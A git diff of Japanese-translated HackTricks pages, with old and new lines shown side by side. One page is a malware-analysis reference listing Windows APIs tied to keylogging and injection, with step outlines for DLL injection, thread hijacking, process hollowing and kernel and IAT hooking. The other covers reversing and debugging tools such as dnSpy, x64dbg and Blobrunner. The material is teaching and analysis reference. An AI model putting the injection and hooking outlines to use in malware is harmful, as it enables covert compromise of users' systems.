| VirtualProtect | メモリの権限変更(セクションに実行権限を与えるパッカー) | | VirtualProtect | メモリの権限変更(セクションに実行権限を与えるパッカー) |
| ReadProcessMemory | 外部プロセスへのインジェクション | | ReadProcessMemory | 外部プロセスへのインジェクション |
| WriteProcessMemoryA/W | 外部プロセスへのインジェクション | | WriteProcessMemoryA/W | 外部プロセスへのインジェクション |
| NtWriteVirtualMemory | | | NtWriteVirtualMemory | |
| CreateRemoteThread | DLL/プロセスインジェクション... | | CreateRemoteThread | DLL/プロセスインジェクション... |
| NtUnmapViewOfSection | | | NtUnmapViewOfSection | |
| QueueUserAPC | | | QueueUserAPC | |
| CreateProcessInternalA/W | | | CreateProcessInternalA/W | |
@ -90,7 +97,7 @@
* GetAsyncKeyState() -- キーロギング * GetAsyncKeyState() -- キーロギング
* SetWindowsHookEx -- キーロギング * SetWindowsHookEx -- キーロギング
* GetForeGroundWindow -- 実行中のウィンドウ名の取得(またはブラウザのウェブサイト) * GetForeGroundWindow -- 実行中のウィンドウ名(またはブラウザのウェブサイト)
* LoadLibrary() -- ライブラリのインポート * LoadLibrary() -- ライブラリのインポート
* GetProcAddress() -- ライブラリのインポート * GetProcAddress() -- ライブラリのインポート
* CreateToolhelp32Snapshot() -- 実行中のプロセスのリスト * CreateToolhelp32Snapshot() -- 実行中のプロセスのリスト
@ -103,64 +110,69 @@
## DLLインジェクション ## DLLインジェクション
他のプロセス内で任意のDLLを実行する 他のプロセス内で任意のDLLを実行します。
1. 悪意のあるDLLをインジェクションするプロセスを特定すCreateToolhelp32Snapshot、Process32First、Process32Next 1. 悪意のあるDLLをインジェクションするプロセスを特定しまCreateToolhelp32Snapshot、Process32First、Process32Next
2. プロセスを開GetModuleHandle、GetProcAddress、OpenProcess 2. プロセスを開きますGetModuleHandle、GetProcAddress、OpenProcess
3. プロセス内にDLLのパスを書き込VirtualAllocEx、WriteProcessMemory 3. プロセス内にDLLのパスを書き込みますVirtualAllocEx、WriteProcessMemory
4. 悪意のあるDLLをロードするスレッドを作成すCreateRemoteThread、LoadLibrary 4. 悪意のあるDLLをロードするプロセス内のスレッドを作成しまCreateRemoteThread、LoadLibrary
使用する他の関数NTCreateThreadEx、RtlCreateUserThread 使用する他の関数NTCreateThreadEx、RtlCreateUserThread
## 反射型DLLインジェクション ## 反射型DLLインジェクション
通常のWindows API呼び出しを行わずに悪意のあるDLLをロードす。\ 通常のWindows API呼び出しを行わずに悪意のあるDLLをロードします。\
DLLはプロセス内にマップされ、インポートアドレスを解決し、リロケーションを修正し、DllMain関数を呼び出します。 DLLはプロセス内にマップされ、インポートアドレスを解決し、リロケーションを修正し、DllMain関数を呼び出します。
## スレッドハイジャッキング
## スレッドハイジャック プロセスからスレッドを見つけ、悪意のあるDLLを読み込ませる
プロセスからスレッドを見つけ、それに悪意のあるDLLをロードさせる
1. ターゲットスレッドを見つけるCreateToolhelp32Snapshot、Thread32First、Thread32Next 1. ターゲットスレッドを見つけるCreateToolhelp32Snapshot、Thread32First、Thread32Next
2. スレッドを開くOpenThread 2. スレッドを開くOpenThread
3. スレッドを一時停止するSuspendThread 3. スレッドを一時停止するSuspendThread
4. 悪意のあるDLLのパスを被害者プロセス内に書き込むVirtualAllocEx、WriteProcessMemory 4. 悪意のあるDLLのパスを被害者プロセス内に書き込むVirtualAllocEx、WriteProcessMemory
5. スレッドを再開し、ライブラリをロードするResumeThread 5. スレッドを再開し、ライブラリを読み込むResumeThread
## PEインジェクション ## PEインジェクション
Portable Execution Injection実行可能ファイルが被害者プロセスのメモリに書き込まれ、そこから実行されます。 Portable Execution Injection実行可能ファイルが被害者プロセスのメモリに書き込まれ、そこから実行されます。
## プロセスホローイング ## プロセスホローイング
マルウェアはプロセスのメモリから正規のコードをアンマップし、悪意のあるバイナリをロードします。 マルウェアはプロセスのメモリから正規のコードをアンマップし、悪意のあるバイナリを読み込みます。
1. 新しいプロセスを作成するCreateProcess 1. 新しいプロセスを作成するCreateProcess
2. メモリをアンマップするZwUnmapViewOfSection、NtUnmapViewOfSection 2. メモリをアンマップするZwUnmapViewOfSection、NtUnmapViewOfSection
3. プロセスのメモリに悪意のあるバイナリを書き込むVirtualAllocEc、WriteProcessMemory 3. 悪意のあるバイナリをプロセスのメモリに書き込むVirtualAllocEc、WriteProcessMemory
4. エントリポイントを設定し実行するSetThreadContext、ResumeThread 4. エントリポイントを設定し実行するSetThreadContext、ResumeThread
# フック # フック
* **SSDT****System Service Descriptor Table**は、カーネル関数ntoskrnl.exeまたはGUIドライバwin32k.sysを指し示し、ユーザープロセスはこれらの関数を呼び出すことができます。 * **SSDT****System Service Descriptor Table**は、カーネル関数ntoskrnl.exeまたはGUIドライバwin32k.sysを指し示し、ユーザープロセスがこれらの関数を呼び出すことができるようにします。
* ルートキットはこれらのポインタを制御するアドレスに変更する場合があります。 * ルートキットはこれらのポインタを制御するアドレスに変更する場合があります。
* **IRP****I/O Request Packets**)はデータの断片を1つのコンポーネントから別のコンポーネントに転送します。カーネルのほとんどのものはIRPを使用し、各デバイスオブジェクトには独自の関数テーブルがあり、これをフックすることができますDKOMDirect Kernel Object Manipulation * **IRP****I/O Request Packets**)はデータの一部をコンポーネントから別のコンポーネントに転送します。カーネルのほとんどのものはIRPを使用し、各デバイスオブジェクトにはフックできる関数テーブルがありますDKOMDirect Kernel Object Manipulation
* **IAT****Import Address Table**)は依存関係の解決に役立ちます。このテーブルをフックして呼び出されるコードを乗っ取ることができます。 * **IAT****Import Address Table**)は依存関係の解決に役立ちます。このテーブルをフックして呼び出されるコードを乗っ取ることができます。
* **EAT****Export Address Table**)フック。これらのフックは**ユーザーランド**から行うことができます。目的は、DLLによってエクスポートされた関数をフックすることです。 * **EAT****Export Address Table**)フック。これらのフックは**ユーザーランド**から行うことができます。目的は、DLLによってエクスポートされた関数をフックすることです。
* **インラインフック**:このタイプは実現が難しいです。これには関数自体のコードを変更することが含まれます。たとえば、これの先頭にジャンプを配置することで実現できます。 * **インラインフック**:このタイプは実現が難しいです。これには関数自体のコードを変更することが含まれます。たとえば、最初にジャンプを配置することで実現できます。
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm_source=referral&utm_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
</details> </details>

View file

@ -6,12 +6,20 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有**するには、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
重要な脆弱性を見つけて修正を迅速化しましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## ImGuiベースのリバースエンジニアリングツール ## ImGuiベースのリバースエンジニアリングツール
ソフトウェア: ソフトウェア:
@ -35,9 +43,9 @@
### [dotPeek](https://www.jetbrains.com/decompiler/) ### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeekは、**ライブラリ**.dll、**Windowsメタデータファイル**.winmdおよび**実行可能ファイル**.exeなど、複数の形式を**デコンパイル**および調査するデコンパイラです。デコンパイルされたアセンブリは、Visual Studioプロジェクト.csprojとして保存することができます。 dotPeekは、**ライブラリ**.dll、**Windowsメタデータファイル**.winmd、**実行可能ファイル**.exeなど、複数の形式を**デコンパイル**および調査するデコンパイラです。デコンパイルされたアセンブリは、Visual Studioプロジェクト.csprojとして保存できます。
ここでの利点は、失われたソースコードを復元するために、古いアセンブリからの復元が必要な場合、このアクションが時間を節約できることです。さらに、dotPeekはデコンパイルされたコード全体で便利なナビゲーションを提供するため、**Xamarinアルゴリズム分析**に最適なツールの1つです。 ここでの利点は、失われたソースコードを復元する場合、時間を節約できることです。さらに、dotPeekはデコンパイルされたコード全体で便利なナビゲーションを提供するため、**Xamarinアルゴリズム分析**に最適なツールの1つです。
### [.Net Reflector](https://www.red-gate.com/products/reflector/) ### [.Net Reflector](https://www.red-gate.com/products/reflector/)
@ -51,13 +59,13 @@ dotPeekは、**ライブラリ**.dll、**Windowsメタデータファイ
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases) ### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Visual Studio Code用のILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode)どのOSでも使用できますVSCodeから直接インストールできます。gitをダウンロードする必要はありません。**Extensions**をクリックして**ILSpy**を検索します)。 [Visual Studio Code用のILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode)どのOSでも使用できますVSCodeから直接インストールできます。gitをダウンロードする必要はありません。**Extensions**をクリックして**ILSpy**を検索します)。\
**デコンパイル**、**変更**、**再コンパイル**が必要な場合は、[**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases)を使用できます(関数内の何かを変更するには、**右クリック->メソッドの変更**)。 **デコンパイル**、**変更**、**再コンパイル**が必要な場合は、[**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases)を使用できます(関数内の何かを変更するには、**右クリック->メソッドの変更**)。\
[https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/)も試してみることができます。 [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/)も試ことができます。
### DNSpyログ ### DNSpyログ
**DNSpyが情報をファイルに記録する**ようにするに、次の.Netの行を使用できます **DNSpyが情報をファイルに記録するようにする**ために、次の.Netの行を使用できます
```bash ```bash
using System.IO; using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt"; path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -65,7 +73,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
``` ```
### DNSpy デバッグ ### DNSpy デバッグ
DNSpyを使用してコードをデバッグするには、次の手順を実行する必要があります DNSpyを使用してコードをデバッグするには、次の手順を実行する必要があります
まず、**デバッグに関連する** **アセンブリ属性**を変更します: まず、**デバッグに関連する** **アセンブリ属性**を変更します:
@ -90,41 +98,71 @@ This guide will introduce you to some of the basic reversing tools commonly used
3. [Ghidra](#ghidra) 3. [Ghidra](#ghidra)
4. [Radare2](#radare2) 4. [Radare2](#radare2)
5. [x64dbg](#x64dbg) 5. [x64dbg](#x64dbg)
6. [Hopper](#hopper)
7. [Binary Ninja](#binary-ninja)
8. [Conclusion](#conclusion)
## IDA Pro ## IDA Pro
IDA Pro is one of the most popular and powerful disassemblers/debuggers available. It supports a wide range of architectures and file formats, making it a versatile tool for reverse engineering. IDA Pro provides a user-friendly interface and a powerful analysis engine, allowing users to navigate through disassembled code, analyze functions, and identify vulnerabilities. IDA Pro is a widely used disassembler and debugger that is known for its powerful analysis capabilities. It supports a wide range of executable formats and architectures, making it a versatile tool for reverse engineering.
Some key features of IDA Pro include:
- Interactive disassembly and debugging
- Graphical representation of code flow
- Support for multiple platforms and file formats
- Extensibility through plugins and scripts
IDA Pro is a commercial tool, but a free version called IDA Free is also available with limited functionality.
## OllyDbg ## OllyDbg
OllyDbg is a popular debugger used for analyzing and modifying binary code. It provides a dynamic analysis environment, allowing users to step through code, set breakpoints, and inspect registers and memory. OllyDbg also includes features for patching binaries, searching for specific instructions, and analyzing malware. OllyDbg is a popular debugger that is commonly used for analyzing and modifying binary code. It provides a user-friendly interface and a wide range of features that make it suitable for both beginners and experienced reverse engineers.
Key features of OllyDbg include:
- Dynamic analysis of running processes
- Breakpoint and tracing functionality
- Patching and modification of code
- Plugin support for extending functionality
OllyDbg is a freeware tool that is widely used in the reverse engineering community.
## Ghidra ## Ghidra
Ghidra is a free and open-source software reverse engineering suite developed by the National Security Agency (NSA). It provides a wide range of features for analyzing and understanding binary code, including disassembly, decompilation, and scriptable analysis. Ghidra supports a variety of platforms and file formats, making it a powerful tool for reverse engineering. Ghidra is a powerful open-source software reverse engineering framework developed by the National Security Agency (NSA). It provides a wide range of analysis tools and features that make it suitable for both beginners and advanced users.
Some key features of Ghidra include:
- Decompilation of binary code
- Symbolic execution and data flow analysis
- Scripting support for automation
- Collaboration features for team-based analysis
Ghidra is free to use and is available for Windows, macOS, and Linux.
## Radare2 ## Radare2
Radare2 is a command-line based reverse engineering framework that supports a wide range of architectures and file formats. It provides a set of tools for disassembling, debugging, analyzing, and patching binary code. Radare2 is highly extensible and scriptable, allowing users to automate tasks and create custom analysis tools. Radare2 is a command-line based reverse engineering framework that is known for its versatility and extensibility. It provides a wide range of tools and features for analyzing and manipulating binary code.
Key features of Radare2 include:
- Disassembly and debugging capabilities
- Support for multiple architectures and file formats
- Scripting support for automation
- Plugin system for extending functionality
Radare2 is an open-source tool that is available for Windows, macOS, and Linux.
## x64dbg ## x64dbg
x64dbg is a powerful open-source debugger for Windows that supports both x86 and x64 architectures. It provides a user-friendly interface and a wide range of features for analyzing and debugging binary code. x64dbg includes features such as dynamic analysis, breakpoints, memory dumping, and plugin support. x64dbg is a user-friendly debugger that is commonly used for analyzing and debugging 64-bit Windows executables. It provides a simple and intuitive interface, making it suitable for both beginners and experienced reverse engineers.
## Hopper Some key features of x64dbg include:
Hopper is a reverse engineering tool for macOS and Linux that supports a wide range of architectures and file formats. It provides a user-friendly interface and a powerful disassembly engine, allowing users to analyze and understand binary code. Hopper also includes features for debugging, patching binaries, and scripting. - Dynamic analysis of running processes
- Breakpoint and tracing functionality
- Patching and modification of code
- Plugin support for extending functionality
## Binary Ninja x64dbg is an open-source tool that is available for Windows.
Binary Ninja is a commercial reverse engineering platform that supports a wide range of architectures and file formats. It provides a user-friendly interface and a powerful analysis engine, allowing users to analyze and manipulate binary code. Binary Ninja includes features such as advanced graph visualization, scripting, and plugin support.
## Conclusion
These are just a few of the many reversing tools available for analyzing and manipulating binary code. By familiarizing yourself with these tools and their capabilities, you will be better equipped to tackle reverse engineering challenges and uncover vulnerabilities in software. Remember to always use these tools responsibly and ethically, and to respect the laws and regulations governing their use. Happy reversing!
--- ---
@ -132,9 +170,9 @@ These are just a few of the many reversing tools available for analyzing and man
## はじめに ## はじめに
リバースエンジニアリングの分野では、優れたリバースエンジニアリングツールセットを持つことが重要です。これらのツールは、ソフトウェアの内部動作を分析し理解するのに役立ち、脆弱性を発見したり、機能を変更したり、プログラムの動作をより深く理解することができます。 リバースエンジニアリングの分野では、優れたリバースエンジニアリングツールセットを持つことが重要です。これらのツールは、ソフトウェアの内部動作を分析し理解するのに役立ち、脆弱性を発見したり、機能を変更したり、プログラムの動作をより深く理解することができます。
このガイドでは、ハッカーやセキュリティ専門家がよく使用するいくつかの基本的なリバースエンジニアリングツールを紹介します。これらのツールに慣れることで、さまざまな目的ソフトウェアを分析し操作するための準備が整います。 このガイドでは、ハッカーやセキュリティ専門家がよく使用するいくつかの基本的なリバースエンジニアリングツールを紹介します。これらのツールに慣れることで、さまざまな目的のためにソフトウェアを分析し操作するための準備が整います。
## 目次 ## 目次
@ -143,41 +181,71 @@ These are just a few of the many reversing tools available for analyzing and man
3. [Ghidra](#ghidra) 3. [Ghidra](#ghidra)
4. [Radare2](#radare2) 4. [Radare2](#radare2)
5. [x64dbg](#x64dbg) 5. [x64dbg](#x64dbg)
6. [Hopper](#hopper)
7. [Binary Ninja](#binary-ninja)
8. [結論](#結論)
## IDA Pro ## IDA Pro
IDA Proは、最も人気のある強力なディスアセンブラ/デバッガの1つです。さまざまなアーキテクチャとファイル形式をサポートしており、リバースエンジニアリングのための多目的なツールです。IDA Proは、ユーザーフレンドリーなインターフェースと強力な解析エンジンを提供し、ユーザーは逆アセンブルされたコードをナビゲートし、関数を分析し、脆弱性を特定することができます。 IDA Proは、強力な解析機能で知られる広く使用されている逆アセンブラおよびデバッガです。さまざまな実行可能形式とアーキテクチャをサポートしており、リバースエンジニアリングのための多目的なツールとして使用できます。
IDA Proの主な特徴は次のとおりです
- インタラクティブな逆アセンブリとデバッグ
- コードフローのグラフィカルな表示
- 複数のプラットフォームとファイル形式のサポート
- プラグインとスクリプトによる拡張性
IDA Proは商用ツールですが、機能が制限された無料版であるIDA Freeも利用できます。
## OllyDbg ## OllyDbg
OllyDbgは、バイナリコードの分析と修正に使用される人気のあるデバッガです。動的な分析環境を提供し、ユーザーはコードをステップ実行したり、ブレークポイントを設定したり、レジスタやメモリを調査したりすることができます。OllyDbgには、バイナリのパッチ適用、特定の命令の検索、マルウェアの分析などの機能も備わっています。 OllyDbgは、バイナリコードの解析と修正によく使用される人気のあるデバッガです。ユーザーフレンドリーなインターフェースと幅広い機能を提供しており、初心者から経験豊富なリバースエンジニアまで対応しています。
OllyDbgの主な特徴は次のとおりです
- 実行中のプロセスの動的解析
- ブレークポイントとトレース機能
- コードのパッチと修正
- 機能の拡張のためのプラグインサポート
OllyDbgは、リバースエンジニアリングコミュニティで広く使用されているフリーウェアツールです。
## Ghidra ## Ghidra
Ghidraは、国家安全保障局NSAによって開発された無料のオープンソースのソフトウェアリバースエンジニアリングスイートです。ディスアセンブル、デコンパイル、スクリプト可能な解析など、バイナリコードの分析と理解のためのさまざまな機能を提供します。Ghidraは、さまざまなプラットフォームとファイル形式をサポートしており、リバースエンジニアリングのための強力なツールです。 Ghidraは、アメリカ国家安全保障局NSAによって開発された強力なオープンソースのソフトウェアリバースエンジニアリングフレームワークです。初心者から上級者まで対応するさまざまな分析ツールと機能を提供しています。
Ghidraの主な特徴は次のとおりです
- バイナリコードの逆コンパイル
- シンボリック実行とデータフロー解析
- 自動化のためのスクリプトサポート
- チームベースの分析のためのコラボレーション機能
Ghidraは無料で使用でき、Windows、macOS、Linuxに対応しています。
## Radare2 ## Radare2
Radare2は、コマンドラインベースのリバースエンジニアリングフレームワークで、さまざまなアーキテクチャとファイル形式をサポートしています。バイナリコードのディスアセンブル、デバッグ、分析、パッチ適用などのツールセットを提供します。Radare2は高度に拡張可能でスクリプト可能であり、ユーザーはタスクを自動化し、カスタムの解析ツールを作成することができます。 Radare2は、多機能性と拡張性で知られるコマンドラインベースのリバースエンジニアリングフレームワークです。バイナリコードの分析と操作のためのさまざまなツールと機能を提供しています。
Radare2の主な特徴は次のとおりです
- 逆アセンブリとデバッグの機能
- 複数のアーキテクチャとファイル形式のサポート
- 自動化のためのスクリプトサポート
- 機能の拡張のためのプラグインシステム
Radare2はオープンソースツールであり、Windows、macOS、Linuxに対応しています。
## x64dbg ## x64dbg
x64dbgは、Windows用の強力なオープンソースデバッガで、x86およびx64アーキテクチャの両方をサポートしています。ユーザーフレンドリーなインターフェースとバイナリコードの分析とデバッグのためのさまざまな機能を提供します。x64dbgには、動的な分析、ブレークポイント、メモリのダンプ、プラグインサポートなどの機能が含まれています。 x64dbgは、64ビットWindows実行可能ファイルの解析とデバッグによく使用される使いやすいデバッガです。シンプルで直感的なインターフェースを提供しており、初心者から経験豊富なリバースエンジニアまで対応しています。
## Hopper x64dbgの主な特徴は次のとおりです
Hopperは、macOSとLinux向けのリバースエンジニアリングツールで、さまざまなアーキテクチャとファイル形式をサポートしています。ユーザーフレンドリーなインターフェースと強力なディスアセンブリエンジンを提供し、ユーザーはバイナリコードを分析し理解することができます。Hopperには、デバッグ、バイナリのパッチ適用、スクリプトなどの機能も備わっています。 - 実行中のプロセスの動的解析
- ブレークポイントとトレース機能
- コードのパッチと修正
- 機能の拡張のためのプラグインサポート
## Binary Ninja x64dbgはオープンソースツールであり、Windowsに対応しています。
Binary Ninjaは、さまざまなアーキテクチャとファイル形式をサポートする商用リバースエンジニアリングプラットフォームです。ユーザーフレンドリーなインターフェースと強力な解析エンジンを提供し、ユーザーはバイナリコードを分析し操作することができます。Binary Ninjaには、高度なグラフ可視化、スクリプト、プラグインサポートなどの機能が含まれています。
## 結論
これらは、バイナリコードの分析と操作に使用できる多くのリバースエンジニアリングツールのうちのいくつかです。これらのツールとその機能に慣れることで、リバースエンジニアリングの課題に取り組み、ソフトウェアの脆弱性を発見するための準備が整います。これらのツールを常に責任を持って、倫理的に使用し、使用に関する法律と規制を尊重することを忘れないでください。リバースエンジニアリングを楽しんでください!
``` ```
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | [assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.DisableOptimizations |
@ -239,22 +307,22 @@ iisreset /noforce
![](<../../.gitbook/assets/image (136).png>) ![](<../../.gitbook/assets/image (136).png>)
の後、デバッグを開始すると、各DLLがロードされるたびに実行が停止します。rundll32がDLLをロードすると、実行が停止します。 れから、デバッグを開始すると、各DLLがロードされるたびに実行が停止します。rundll32がDLLをロードすると、実行が停止します。
しかし、ロードされたDLLのコードにどのようにアクセスできるのでしょうか?この方法では、方法がわかりません。 しかし、ロードされたDLLのコードにどうやってアクセスできるのでしょうか?この方法では、私はわかりません。
### x64dbg/x32dbgを使用する ### x64dbg/x32dbgを使用する
* **rundll32をロード**します64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe * **rundll32をロード**します64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe
* **コマンドラインを変更**します( _ファイル --> コマンドラインの変更_ し、dllのパスと呼び出したい関数を設定します。例"C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain * **コマンドラインを変更**します( _ファイル --> コマンドラインの変更_ し、dllのパスと呼び出したい関数を設定します。例"C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* _オプション --> 設定_ を変更し、"**DLLエントリ**"を選択します。 * _オプション --> 設定_ を変更し、"**DLLエントリ**"を選択します。
* それから**実行を開始**します。デバッガは各DLLメインで停止します。いずれかの時点で、自分のDLLのDLLエントリで停止します。そこから、ブレークポイントを設定したい場所を検索します。 * それから**実行を開始**します。デバッガは各dllメインで停止します。いずれかの時点で、あなたは自分のdllのdllエントリで停止します。そこから、ブレークポイントを設定したい場所を検索するだけです。
win64dbgで実行が何らかの理由で停止されると、win64dbgウィンドウの上部にいる**どのコードにいるか**が表示されます: win64dbgで実行が何らかの理由で停止された場合、win64dbgウィンドウの**上部**にあるコードを確認できます:
![](<../../.gitbook/assets/image (137).png>) ![](<../../.gitbook/assets/image (137).png>)
そのため、デバッグしたいDLLで実行が停止した場所を確認できます。 そのため、デバッグしたいdllで実行が停止した場所を確認できます。
## GUIアプリ/ビデオゲーム ## GUIアプリ/ビデオゲーム
@ -272,8 +340,8 @@ win64dbgで実行が何らかの理由で停止されると、win64dbgウィン
### blobrunnerを使用したシェルコードのデバッグ ### blobrunnerを使用したシェルコードのデバッグ
[**Blobrunner**](https://github.com/OALabs/BlobRunner)は、シェルコードをメモリのスペースに割り当て、シェルコードが割り当てられたメモリアドレスを示し、実行を停止します。\ [**Blobrunner**](https://github.com/OALabs/BlobRunner)は、シェルコードをメモリのスペースに**割り当て**、シェルコードが割り当てられた**メモリアドレス**を示し、実行を**停止**します。\
その後、プロセスにデバッガIdaまたはx64dbgをアタッチし、指定されたメモリアドレスにブレークポイントを設定し、実行を再開します。これにより、シェルコードをデバッグできます。 その後、プロセスにデバッガIdaまたはx64dbg**アタッチ**し、指定されたメモリアドレスに**ブレークポイント**を設定し、実行を**再開**します。これにより、シェルコードをデバッグできます。
リリースのGitHubページには、コンパイルされたリリースが含まれるzipファイルがあります[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ リリースのGitHubページには、コンパイルされたリリースが含まれるzipファイルがあります[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
以下のリンクに、Blobrunnerのわずかに変更されたバージョンがあります。コンパイルするには、Visual Studio CodeでC/C++プロジェクトを作成し、コードをコピーして貼り付け、ビルドします。 以下のリンクに、Blobrunnerのわずかに変更されたバージョンがあります。コンパイルするには、Visual Studio CodeでC/C++プロジェクトを作成し、コードをコピーして貼り付け、ビルドします。
@ -284,7 +352,7 @@ win64dbgで実行が何らかの理由で停止されると、win64dbgウィン
